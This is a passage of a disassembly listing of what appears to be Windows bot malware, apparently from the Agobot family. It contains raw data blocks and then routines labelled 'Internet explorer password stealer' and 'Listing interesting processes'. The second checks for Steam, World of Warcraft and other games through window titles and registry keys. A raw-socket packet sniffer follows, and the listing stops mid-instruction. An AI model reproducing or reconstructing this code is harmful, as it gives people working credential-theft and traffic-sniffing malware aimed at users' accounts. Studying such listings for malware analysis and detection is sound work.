8B0C7400h, 4D8BF045h dd 50098BF0h, 830851FFh, 83FFFC4Dh, 0FFF600BDh, 127400FFh dd 0F600858Bh, 8D8BFFFFh, 0FFFFF600h, 0FF50098Bh, 858B0851h dd 0FFFFF02Ch, 0A4BE9h, 10858B00h, 0FFFFFFF4h, 0D53C6830h dd 858D0041h, 0FFFFF414h, 8491E850h, 0C483FFFFh, 0ECA5830Ch dd 0FFFFFDh, 0F5AC858Ah, 8588FFFFh, 0FFFFF5ECh, 0F5ACA580h dd 8300FFFFh, 7500F07Dh, 4003680Ah, 65E88000h, 6A00001Dh dd 0F0858D00h, 50FFFFF5h, 458B016Ah, 8589F0h, 8BFFFFF0h dd 0FFF00085h, 0FF008BFFh, 0FFF000B5h, 0C50FFFFh, 850FC085h dd 951h, 0F410858Bh, 7883FFFFh, 5740004h, 940E9h, 10EC8300h dd 0F5F0B58Dh, 0FC8BFFFFh, 0A5A5A5A5h, 41D53868h, 0B8858D00h dd 50FFFFF5h, 71E015FFh, 0C4830041h, 8A58318h, 0FFFFF2h dd 2FC45C6h, 0F208BD83h, 7400FFFFh, 8858B12h, 8BFFFFF2h dd 0FFF2088Dh, 50098BFFh, 830851FFh, 0FFF208A5h, 0BD8300FFh dd 0FFFFF600h, 680A7500h, 80004003h, 1CC3E8h, 858B00h dd 89FFFFF6h, 0FFF01885h, 8858DFFh, 50FFFFF2h, 858D006Ah dd 0FFFFF5F0h, 8B006A50h, 0FFF01885h, 0FF008BFFh, 0FFF018B5h dd 3C50FFFFh, 0F01C8589h, 0BD83FFFFh, 0FFFFF01Ch, 68167D00h dd 41D570h, 0F018B5FFh, 0B5FFFFFFh, 0FFFFF01Ch, 1C7DE8h dd 1C858B00h, 89FFFFF0h, 0FFF20C85h, 8BD83FFh, 0FFFFF2h dd 3680A75h, 0E8800040h, 1C50h, 858D006Ah, 0FFFFF1F8h dd 8B016A50h, 0FFF20885h, 0FC8589FFh, 8BFFFFEFh, 0FFEFFC85h dd 0FF008BFFh, 0FFEFFCB5h, 0C50FFFFh, 850FC085h, 815h dd 0F1ECA583h, 0C600FFFFh, 8303FC45h, 0FFF1ECBDh, 127400FFh dd 0F1EC858Bh, 8D8BFFFFh, 0FFFFF1ECh, 0FF50098Bh, 0A5830851h dd 0FFFFF1ECh, 0BD8300h, 0FFFFF6h, 3680A75h, 0E8800040h dd 1BE0h, 0F600858Bh, 8589FFFFh, 0FFFFF010h, 0F1EC858Dh dd 6A50FFFFh, 0F8858D00h, 50FFFFF1h, 0F5F0858Dh, 6A50FFFFh dd 10858B00h, 8BFFFFF0h, 10B5FF00h, 0FFFFFFF0h, 85895450h dd 0FFFFF014h, 0F014BD83h, 7D00FFFFh, 0D5706816h, 0B5FF0041h dd 0FFFFF010h, 0F014B5FFh, 93E8FFFFh, 8B00001Bh, 0FFF01485h dd 0F08589FFh, 83FFFFF1h, 0FFF1ECBDh, 0A7500FFh, 400368h dd 1B66E880h, 6A0000h, 0F1F4858Dh, 6A50FFFFh, 0EC858B01h dd 89FFFFF1h, 0FFEFF885h, 0F8858BFFh, 8BFFFFEFh, 0F8B5FF00h dd 0FFFFFFEFh, 0C0850C50h, 707850Fh, 0B5FF0000h, 0FFFFF1F4h dd 41D53468h, 0F0858D00h, 50FFFFFDh, 71E015FFh, 0C4830041h dd 0E8A5830Ch, 0FFFFF1h, 0F118A583h, 8300FFFFh, 0FFF11CA5h dd 0BD8300FFh, 0FFFFF600h, 680A7500h, 80004003h, 1AF3E8h dd 0F4858B00h, 89FFFFF1h db 85h byte_415355 db 4, 0F0h, 0FFh ; DATA XREF: cAddress:off_419100o dd 858BFFh, 89FFFFF6h, 0FFF00885h, 0FF006AFFh, 0FFF11CB5h dd 18858DFFh, 50FFFFF1h, 0F1E8858Dh, 0FF50FFFFh, 0FFF004B5h dd 0F8858DFFh, 50FFFFF1h, 0F5F0858Dh, 6A50FFFFh, 8858B00h dd 8BFFFFF0h, 8B5FF00h, 0FFFFFFF0h, 85894450h, 0FFFFF00Ch dd 0F00CBD83h, 7D00FFFFh, 0D5706816h, 0B5FF0041h, 0FFFFF008h dd 0F00CB5FFh, 87E8FFFFh, 8B00001Ah, 0FFF00C85h, 0F08589FFh dd 0FFFFFFF1h, 0FFF118B5h, 1762E8FFh, 8B590000h, 0FFF1E88Dh dd 0C13B49FFh, 89830Fh, 0A5830000h, 0FFFFF114h, 10A58300h dd 0FFFFF1h, 858B0EEBh, 0FFFFF110h, 85894040h, 0FFFFF110h dd 0F110858Bh, 853BFFFFh, 0FFFFF1E8h, 858B4D73h, 0FFFFF118h dd 0F1108503h, 0B60FFFFFh, 75C08500h, 14858B10h, 0C6FFFFF1h dd 0F6040584h, 0EB2CFFFFh, 18858B1Bh, 3FFFFF1h, 0FFF11085h dd 148D8BFFh, 8AFFFFF1h, 0D848800h, 0FFFFF604h, 0F114858Bh dd 8940FFFFh, 0FFF11485h, 8B97EBFFh, 0FFF11485h, 5A480FFh dd 0FFFFF603h, 0FF1BEB00h, 0FFF118B5h, 8B6468FFh, 858D0041h dd 0FFFFF604h, 0E015FF50h, 83004171h, 680CC4h, 8D0041DEh dd 0FFF80485h, 15FF50FFh, 4170FCh, 41DE0068h, 10858D00h dd 50FFFFF2h, 70FC15FFh, 28680041h, 8D0041D5h, 0FFF5B885h dd 15FF50FFh, 417108h, 4075C085h, 0FDEC858Bh, 8940FFFFh dd 0FFFDEC85h, 85BE0FFFh, 0FFFFF5A9h, 2875C085h, 0F604858Dh dd 8D50FFFFh, 0FFFDF085h, 0B5FF50FFh, 0FFFFFDECh, 41D4E868h dd 14858D00h, 50FFFFF4h, 0FF8036E8h, 14C483FFh, 41D4DC68h dd 0B8858D00h, 50FFFFF5h, 710815FFh, 0C0850041h, 0A8850Fh dd 680000h, 8D0041DEh, 0FFF12085h, 15FF50FFh, 4170FCh dd 4184FC68h, 4858D00h, 50FFFFF6h, 165FE8h, 85595900h dd 683874C0h, 4184FCh, 0F604858Dh, 0E850FFFFh, 1648h, 50405959h dd 0F120858Dh, 0FF50FFFFh, 4170FC15h, 84FC6800h, 858D0041h dd 0FFFFF604h, 1626E850h, 59590000h, 8B002080h, 0FFFDEC85h dd 858940FFh, 0FFFFFDECh, 3E868h, 9C15FF00h, 8D004170h dd 0FFF12085h, 858D50FFh, 0FFFFF604h, 0F0858D50h, 50FFFFFDh dd 0FDECB5FFh, 8468FFFFh, 8D0041D4h, 0FFF41485h, 74E850FFh dd 83FFFF7Fh, 786818C4h, 8D0041D4h, 0FFF5B885h, 15FF50FFh dd 417108h, 850FC085h, 25Ah, 0F038A583h, 0C700FFFFh, 0FFF10485h dd 1FFh, 34A58300h, 0FFFFF0h, 858B0EEBh, 0FFFFF034h, 85894040h dd 0FFFFF034h, 0F034858Bh, 853BFFFFh, 0FFFFF1E8h, 0B2830Fh dd 858B0000h, 0FFFFF118h, 0F0348503h, 0B60FFFFFh, 75C08500h dd 38858B1Dh, 0C6FFFFF0h, 0F6040584h, 8B2CFFFFh, 0FFF03885h dd 858940FFh, 0FFFFF038h, 858B7DEBh, 0FFFFF118h, 0F0348503h dd 8AFFFFh, 0DC15FF50h, 85004171h, 8B3C75C0h, 0FFF11885h dd 348503FFh, 0FFFFFF0h, 0F88300B6h, 8B287440h, 0FFF11885h dd 348503FFh, 0FFFFFF0h, 0F88300B6h, 8B14742Eh, 0FFF11885h dd 348503FFh, 0FFFFFF0h, 0F88300B6h, 8B28755Fh, 0FFF11885h dd 348503FFh, 8BFFFFF0h, 0FFF0388Dh, 88008AFFh, 0F6040D84h dd 858BFFFFh, 0FFFFF038h, 38858940h, 0E9FFFFF0h, 0FFFFFF2Eh dd 0F038858Bh, 0A480FFFFh, 0FFF60305h, 858D00FFh, 0FFFFF606h dd 0F10C8589h, 0A583FFFFh, 0FFFFF108h, 8B0DEB00h, 0FFF10885h dd 858940FFh, 0FFFFF108h, 0F118858Bh, 0B60FFFFFh, 85390440h dd 0FFFFF108h, 1288D0Fh, 858B0000h, 0FFFFF10Ch, 858D5040h dd 0FFFFF03Ch, 0FC15FF50h, 68004170h, 41D474h, 0F03C858Dh dd 0E850FFFFh, 1468h, 0C0855959h, 74681674h, 8D0041D4h dd 0FFF03C85h, 51E850FFh, 59000014h, 208059h, 41D47468h dd 0C858B00h, 40FFFFF1h, 143AE850h, 59590000h, 2474C085h dd 41D47468h, 0C858B00h, 40FFFFF1h, 1422E850h, 59590000h dd 8D504040h, 0FFF0A085h, 15FF50FFh, 4170FCh, 41D47468h dd 0A0858D00h, 50FFFFF0h, 13FFE8h, 85595900h, 681674C0h dd 41D474h, 0F0A0858Dh, 0E850FFFFh, 13E8h, 20805959h, 0D4746800h dd 858B0041h, 0FFFFF10Ch, 0D1E85040h, 59000013h, 8DF08B59h dd 0FFF0A085h, 15FF50FFh, 41703Ch, 906448Dh, 0F10C8589h dd 858BFFFFh, 0FFFFFDECh, 0EC858940h, 68FFFFFDh, 3E8h dd 709C15FFh, 0BE0F0041h, 0FFF5A985h, 75C085FFh, 0A0858D28h dd 50FFFFF0h, 0F03C858Dh, 0FF50FFFFh, 0FFFDECB5h, 0D43468FFh dd 858D0041h, 0FFFFF414h, 7D05E850h, 0C483FFFFh, 0FEB5E914h dd 2868FFFFh, 8D0041D4h, 0FFF5B885h, 15FF50FFh, 417108h dd 850FC085h, 184h, 41D41C68h, 0F0858D00h, 50FFFFFDh, 133BE8h dd 85595900h, 69850FC0h, 68000001h, 41D414h, 0FDF0858Dh dd 0E850FFFFh, 1320h, 0C0855959h, 14681674h, 8D0041D4h dd 0FFFDF085h, 9E850FFh, 59000013h, 208059h, 858D086Ah dd 0FFFFFDF0h, 20858D50h, 50FFFFF1h, 710015FFh, 0C680041h dd 8D0041D4h, 0FFF12085h, 0DDE850FFh, 59000012h, 75C08559h dd 0D4046867h, 858D0041h, 0FFFFF120h, 12C6E850h, 59590000h dd 5075C085h, 0FDEC858Bh, 8940FFFFh, 0FFFDEC85h, 3E868FFh dd 15FF0000h, 41709Ch, 0A985BE0Fh, 85FFFFF5h, 8D2875C0h dd 0FFF60485h, 858D50FFh, 0FFFFFDF0h, 0ECB5FF50h, 68FFFFFDh dd 41D3BCh, 0F414858Dh, 0E850FFFFh, 0FFFF7C0Fh, 0E914C483h dd 0A8h, 41DE0068h, 20858D00h, 50FFFFF1h, 70FC15FFh, 74680041h dd 8D0041D4h, 0FFF60485h, 4DE850FFh, 59000012h, 74C08559h dd 0D4746838h, 858D0041h, 0FFFFF604h, 1236E850h, 59590000h dd 858D5040h, 0FFFFF120h, 0FC15FF50h, 68004170h, 41D474h dd 0F604858Dh, 0E850FFFFh, 1214h, 20805959h, 0EC858B00h dd 40FFFFFDh, 0FDEC8589h, 0E868FFFFh, 0FF000003h, 41709C15h dd 20858D00h, 50FFFFF1h, 0F604858Dh, 8D50FFFFh, 0FFFDF085h dd 0B5FF50FFh, 0FFFFFDECh, 41D36068h, 14858D00h, 50FFFFF4h dd 0FF7B62E8h, 18C483FFh, 20068h, 8D006A00h, 0FFFDF085h dd 77E850FFh, 83000011h, 680CC4h, 6A000002h, 4858D00h dd 50FFFFF6h, 1161E8h, 0CC48300h, 0FFF8B6E9h, 0FC45C6FFh dd 0ECBD8302h, 0FFFFF1h, 858B1274h, 0FFFFF1ECh, 0F1EC8D8Bh dd 98BFFFFh, 851FF50h, 0FFF7A8E9h, 0FC45C6FFh, 8BD8301h dd 0FFFFF2h, 858B1274h, 0FFFFF208h, 0F2088D8Bh, 98BFFFFh dd 851FF50h, 0FFF672E9h, 0EC858AFFh, 88FFFFF5h, 0FFF5AC85h dd 3E868FFh, 15FF0000h, 41709Ch, 0FDECB5FFh, 858BFFFFh dd 0FFFFF410h, 246830FFh, 8D0041D3h, 0FFF41485h, 0B0E850FFh dd 83FFFF7Ah, 0B5FF10C4h, 0FFFFF410h, 0FF3CC6E8h, 0A58359FFh dd 0FFFFF028h, 0FC658000h, 0F07D8300h, 8B0C7400h, 4D8BF045h dd 50098BF0h, 830851FFh, 83FFFC4Dh, 0FFF600BDh, 127400FFh dd 0F600858Bh, 8D8BFFFFh, 0FFFFF600h, 0FF50098Bh, 858B0851h dd 0FFFFF028h, 64F44D8Bh, 0D89h, 5E5F0000h, 4C2C9h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_41DE50, 0 jnz short loc_415AFF jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415AFF: ; CODE XREF: sub_415AF0+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415B15 jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415B15: ; CODE XREF: sub_415AF0+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push [ebp+var_4] push offset aOa ; "¸ÝoA" call sub_4095A4 add esp, 10h locret_415B3D: ; CODE XREF: sub_415AF0+Dj ; sub_415AF0+23j leave retn sub_415AF0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] cmp dword ptr [eax], 0 jz short locret_415B5E mov eax, [ebp-4] mov eax, [eax] mov ecx, [ebp-4] mov ecx, [ecx] mov ecx, [ecx] push eax call dword ptr [ecx+8] locret_415B5E: ; CODE XREF: cAddress:00415B4Cj leave retn ; --------------------------------------------------------------------------- loc_415B60: ; DATA XREF: sub_415DFD+35o push ebp mov ebp, esp sub esp, 5D8h push 1A7h push dword ptr [ebp+8] lea eax, [ebp-5B8h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx and dword ptr [ebp-5C4h], 0 and dword ptr [ebp-410h], 0 and dword ptr [ebp-40Ch], 0 and dword ptr [ebp-408h], 0 and dword ptr [ebp-404h], 0 and dword ptr [ebp-5BCh], 0 jmp short loc_415BC2 ; --------------------------------------------------------------------------- loc_415BB5: ; CODE XREF: cAddress:loc_415C50j mov eax, [ebp-5BCh] inc eax mov [ebp-5BCh], eax loc_415BC2: ; CODE XREF: cAddress:00415BB3j cmp dword ptr [ebp-5BCh], 0FFFFh jnb loc_415C55 push 400h lea eax, [ebp-400h] push eax push dword ptr [ebp-5BCh] call dword_4171E4 ; GetWindowTextA push 7 push offset aUnreal3 ; "Unreal3" lea eax, [ebp-400h] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_415C0E mov dword ptr [ebp-410h], 1 loc_415C0E: ; CODE XREF: cAddress:00415C02j push offset aWorldOfWarcraf ; "World Of Warcraft" lea eax, [ebp-400h] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C2F mov dword ptr [ebp-408h], 1 loc_415C2F: ; CODE XREF: cAddress:00415C23j push offset aConquer ; "[Conquer]" lea eax, [ebp-400h] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C50 mov dword ptr [ebp-404h], 1 loc_415C50: ; CODE XREF: cAddress:00415C44j jmp loc_415BB5 ; --------------------------------------------------------------------------- loc_415C55: ; CODE XREF: cAddress:00415BCCj and dword ptr [ebp-5C0h], 0 lea eax, [ebp-5C0h] push eax push 20019h push 0 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415C88 mov dword ptr [ebp-5C4h], 1 loc_415C88: ; CODE XREF: cAddress:00415C7Cj push dword ptr [ebp-5C0h] call dword_417028 ; RegCloseKey and dword ptr [ebp-5C0h], 0 lea eax, [ebp-5C0h] push eax push 20019h push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415CC7 mov dword ptr [ebp-40Ch], 1 loc_415CC7: ; CODE XREF: cAddress:00415CBBj push dword ptr [ebp-5C0h] call dword_417028 ; RegCloseKey movsx eax, byte ptr [ebp-41Ch] test eax, eax jz short loc_415D1E cmp dword ptr [ebp-410h], 0 jnz short loc_415D1E cmp dword ptr [ebp-5C4h], 0 jnz short loc_415D1E cmp dword ptr [ebp-40Ch], 0 jnz short loc_415D1E cmp dword ptr [ebp-408h], 0 jnz short loc_415D1E cmp dword ptr [ebp-404h], 0 jnz short loc_415D1E push dword ptr [ebp-5B8h] call sub_409763 pop ecx xor eax, eax jmp locret_415DF9 ; --------------------------------------------------------------------------- loc_415D1E: ; CODE XREF: cAddress:00415CDCj ; cAddress:00415CE5j ... cmp dword ptr [ebp-404h], 0 jz short loc_415D33 mov dword ptr [ebp-5C8h], offset aYes ; "Yes" jmp short loc_415D3D ; --------------------------------------------------------------------------- loc_415D33: ; CODE XREF: cAddress:00415D25j mov dword ptr [ebp-5C8h], offset aNo ; "No" loc_415D3D: ; CODE XREF: cAddress:00415D31j cmp dword ptr [ebp-408h], 0 jz short loc_415D52 mov dword ptr [ebp-5CCh], offset aYes ; "Yes" jmp short loc_415D5C ; --------------------------------------------------------------------------- loc_415D52: ; CODE XREF: cAddress:00415D44j mov dword ptr [ebp-5CCh], offset aNo ; "No" loc_415D5C: ; CODE XREF: cAddress:00415D50j cmp dword ptr [ebp-40Ch], 0 jz short loc_415D71 mov dword ptr [ebp-5D0h], offset aYes ; "Yes" jmp short loc_415D7B ; --------------------------------------------------------------------------- loc_415D71: ; CODE XREF: cAddress:00415D63j mov dword ptr [ebp-5D0h], offset aNo ; "No" loc_415D7B: ; CODE XREF: cAddress:00415D6Fj cmp dword ptr [ebp-5C4h], 0 jz short loc_415D90 mov dword ptr [ebp-5D4h], offset aYes ; "Yes" jmp short loc_415D9A ; --------------------------------------------------------------------------- loc_415D90: ; CODE XREF: cAddress:00415D82j mov dword ptr [ebp-5D4h], offset aNo ; "No" loc_415D9A: ; CODE XREF: cAddress:00415D8Ej cmp dword ptr [ebp-410h], 0 jz short loc_415DAF mov dword ptr [ebp-5D8h], offset aYes ; "Yes" jmp short loc_415DB9 ; --------------------------------------------------------------------------- loc_415DAF: ; CODE XREF: cAddress:00415DA1j mov dword ptr [ebp-5D8h], offset aNo ; "No" loc_415DB9: ; CODE XREF: cAddress:00415DADj push dword ptr [ebp-5C8h] push dword ptr [ebp-5CCh] push dword ptr [ebp-5D0h] push dword ptr [ebp-5D4h] push dword ptr [ebp-5D8h] push offset dword_41D5A4 lea eax, [ebp-5B4h] push eax call sub_40D53F add esp, 1Ch push dword ptr [ebp-5B8h] call sub_409763 pop ecx xor eax, eax locret_415DF9: ; CODE XREF: cAddress:00415D19j leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415E17 jmp short locret_415E3F ; --------------------------------------------------------------------------- loc_415E17: ; CODE XREF: sub_415DFD+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push [ebp+var_4] push offset loc_415B60 call sub_4095A4 add esp, 10h locret_415E3F: ; CODE XREF: sub_415DFD+18j leave retn sub_415DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E41 proc near ; CODE XREF: sub_415EB7+37p ; sub_415EB7+59p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_415E52 ; --------------------------------------------------------------------------- loc_415E4B: ; CODE XREF: sub_415E41+69j ; sub_415E41:loc_415EB1j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_415E52: ; CODE XREF: sub_415E41+8j mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4], 0 jz short loc_415EB3 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EB1 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4+4], 0 jz short loc_415EAC mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EAC jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EAC: ; CODE XREF: sub_415E41+49j ; sub_415E41+67j push 1 pop eax jmp short locret_415EB5 ; --------------------------------------------------------------------------- loc_415EB1: ; CODE XREF: sub_415E41+3Aj jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EB3: ; CODE XREF: sub_415E41+1Dj xor eax, eax locret_415EB5: ; CODE XREF: sub_415E41+6Ej leave retn sub_415E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EB7 proc near ; CODE XREF: cAddress:00416389p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 jz short loc_415EDD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EDD push 1 pop eax jmp loc_415F67 ; --------------------------------------------------------------------------- loc_415EDD: ; CODE XREF: sub_415EB7+7j ; sub_415EB7+1Cj cmp [ebp+arg_8], 1 jb short loc_415EFF push [ebp+arg_4] push [ebp+arg_0] push offset off_41D6D4 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415EFF push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415EFF: ; CODE XREF: sub_415EB7+2Aj ; sub_415EB7+41j cmp [ebp+arg_8], 2 jb short loc_415F21 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D730 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F21 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: sub_415EB7+4Cj ; sub_415EB7+63j cmp [ebp+arg_8], 3 jb short loc_415F43 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7A4 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F43 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F43: ; CODE XREF: sub_415EB7+6Ej ; sub_415EB7+85j cmp [ebp+arg_8], 4 jb short loc_415F65 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7E8 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F65 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F65: ; CODE XREF: sub_415EB7+90j ; sub_415EB7+A7j xor eax, eax loc_415F67: ; CODE XREF: sub_415EB7+21j ; sub_415EB7+46j ... pop ebp retn sub_415EB7 endp ; --------------------------------------------------------------------------- loc_415F69: ; DATA XREF: sub_41665C+A6o push ebp mov ebp, esp mov eax, 19B8h call sub_416BC0 push edi push 3ABh push dword ptr [ebp+8] lea eax, [ebp-1614h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx movsx eax, byte ptr [ebp-160Ch] neg eax sbb eax, eax lea ecx, [ebp-160Ch] and eax, ecx mov [ebp-1624h], eax push 0 push 3 push 2 call dword_417218 ; socket mov [ebp-104Ch], eax cmp dword ptr [ebp-104Ch], 0FFFFFFFFh jnz short loc_415FDE push dword ptr [ebp-1614h] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_415FDE: ; CODE XREF: cAddress:00415FC9j push 0FFh lea eax, [ebp-1254h] push eax call dword_417260 ; gethostname lea eax, [ebp-1254h] push eax call dword_41723C ; gethostbyname mov [ebp-1154h], eax cmp dword ptr [ebp-1154h], 0 jnz short loc_41602B push dword ptr [ebp-104Ch] call dword_417230 ; closesocket push dword ptr [ebp-1614h] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_41602B: ; CODE XREF: cAddress:0041600Aj push 10h push 0 lea eax, [ebp-1048h] push eax call sub_416B6A ; memset add esp, 0Ch mov word ptr [ebp-1048h], 2 mov eax, [ebp-1154h] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-1044h], eax push 10h lea eax, [ebp-1048h] push eax push dword ptr [ebp-104Ch] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_416093 push dword ptr [ebp-104Ch] call dword_417230 ; closesocket push dword ptr [ebp-1614h] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: cAddress:00416072j mov dword ptr [ebp-1150h], 1 push 0 push 0 lea eax, [ebp-1620h] push eax push 0 push 0 push 4 lea eax, [ebp-1150h] push eax push 98000001h push dword ptr [ebp-104Ch] call dword_41725C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4160EA push dword ptr [ebp-104Ch] call dword_417230 ; closesocket push dword ptr [ebp-1614h] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_4160EA: ; CODE XREF: cAddress:004160C9j lea eax, [ebp-1030h] mov [ebp-161Ch], eax and dword ptr [ebp-1628h], 0 and dword ptr [ebp-4], 0 push dword ptr [ebp-1610h] mov eax, [ebp-1614h] push dword ptr [eax] push offset unk_41D9B4 lea eax, [ebp-140Ch] push eax call sub_40D53F add esp, 10h and byte ptr [ebp-1274h], 0 and byte ptr [ebp-114Ch], 0 push 3Fh pop ecx xor eax, eax lea edi, [ebp-114Bh] rep stosd stosw stosb and byte ptr [ebp-1264h], 0 xor eax, eax lea edi, [ebp-1263h] stosd stosb lea eax, [ebp-114Ch] push eax call sub_40CF25 push eax call sub_4044F7 pop ecx pop ecx lea eax, [ebp-1264h] push eax call sub_40CF25 push eax call sub_4045B2 pop ecx pop ecx lea eax, [ebp-114Ch] push eax call dword_417244 ; inet_addr mov [ebp-1618h], eax lea eax, [ebp-1264h] push eax call sub_416B9C ; atoi pop ecx mov [ebp-1268h], ax and byte ptr [ebp-1038h], 0 xor eax, eax lea edi, [ebp-1037h] stosd stosb lea eax, [ebp-1038h] push eax call sub_40CF25 push eax call sub_404552 pop ecx pop ecx mov eax, [ebp-1044h] mov [ebp-125Ch], eax lea eax, [ebp-1038h] push eax call sub_416B9C ; atoi pop ecx mov [ebp-1258h], ax loc_4161E6: ; CODE XREF: cAddress:0041626Ej ; cAddress:004162A3j ... push 0 push 1028h lea eax, [ebp-1030h] push eax push dword ptr [ebp-104Ch] call dword_417248 ; recv mov [ebp-17ACh], eax mov eax, [ebp-1614h] cmp dword ptr [eax+4], 0 jz short loc_416217 jmp loc_416637 ; --------------------------------------------------------------------------- loc_416217: ; CODE XREF: cAddress:00416210j cmp dword ptr [ebp-17ACh], 0FFFFFFFFh jz short loc_416229 cmp dword ptr [ebp-17ACh], 0 jnz short loc_41622E loc_416229: ; CODE XREF: cAddress:0041621Ej jmp loc_416637 ; --------------------------------------------------------------------------- loc_41622E: ; CODE XREF: cAddress:00416227j mov eax, [ebp-17ACh] and byte ptr [ebp+eax-1030h], 0 mov eax, [ebp-161Ch] mov al, [eax] and al, 0Fh movzx eax, al mov ecx, [ebp-161Ch] lea eax, [ecx+eax*4] mov [ebp-1628h], eax mov eax, [ebp-1628h] lea ecx, [ebp-1030h] sub eax, ecx cmp eax, [ebp-17ACh] jb short loc_416273 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416273: ; CODE XREF: cAddress:0041626Cj mov eax, [ebp-1628h] mov al, [eax+0Ch] shr al, 4 and al, 0Fh movzx eax, al mov ecx, [ebp-1628h] lea eax, [ecx+eax*4] mov [ebp-4], eax mov eax, [ebp-4] lea ecx, [ebp-1030h] sub eax, ecx cmp eax, [ebp-17ACh] jb short loc_4162A8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: cAddress:004162A1j push dword ptr [ebp-4] call sub_416B40 ; strlen pop ecx mov [ebp-17ACh], eax mov eax, [ebp-161Ch] movzx eax, byte ptr [eax+9] cmp eax, 6 jnz loc_416632 movsx eax, byte ptr [ebp-127Eh] test eax, eax jz short loc_4162EB mov eax, [ebp-161Ch] mov eax, [eax+10h] cmp eax, [ebp-125Ch] jz short loc_4162EB jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162EB: ; CODE XREF: cAddress:004162D3j ; cAddress:004162E4j movsx eax, byte ptr [ebp-1278h] test eax, eax jz short loc_41630C mov eax, [ebp-161Ch] mov eax, [eax+0Ch] cmp eax, [ebp-125Ch] jz short loc_41630C jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: cAddress:004162F4j ; cAddress:00416305j mov eax, [ebp-1628h] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, word ptr [ebp-1258h] cmp eax, ecx jnz short loc_416340 mov eax, [ebp-161Ch] mov eax, [eax+0Ch] cmp eax, [ebp-125Ch] jnz short loc_416340 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416340: ; CODE XREF: cAddress:00416328j ; cAddress:00416339j mov eax, [ebp-1628h] mov ax, 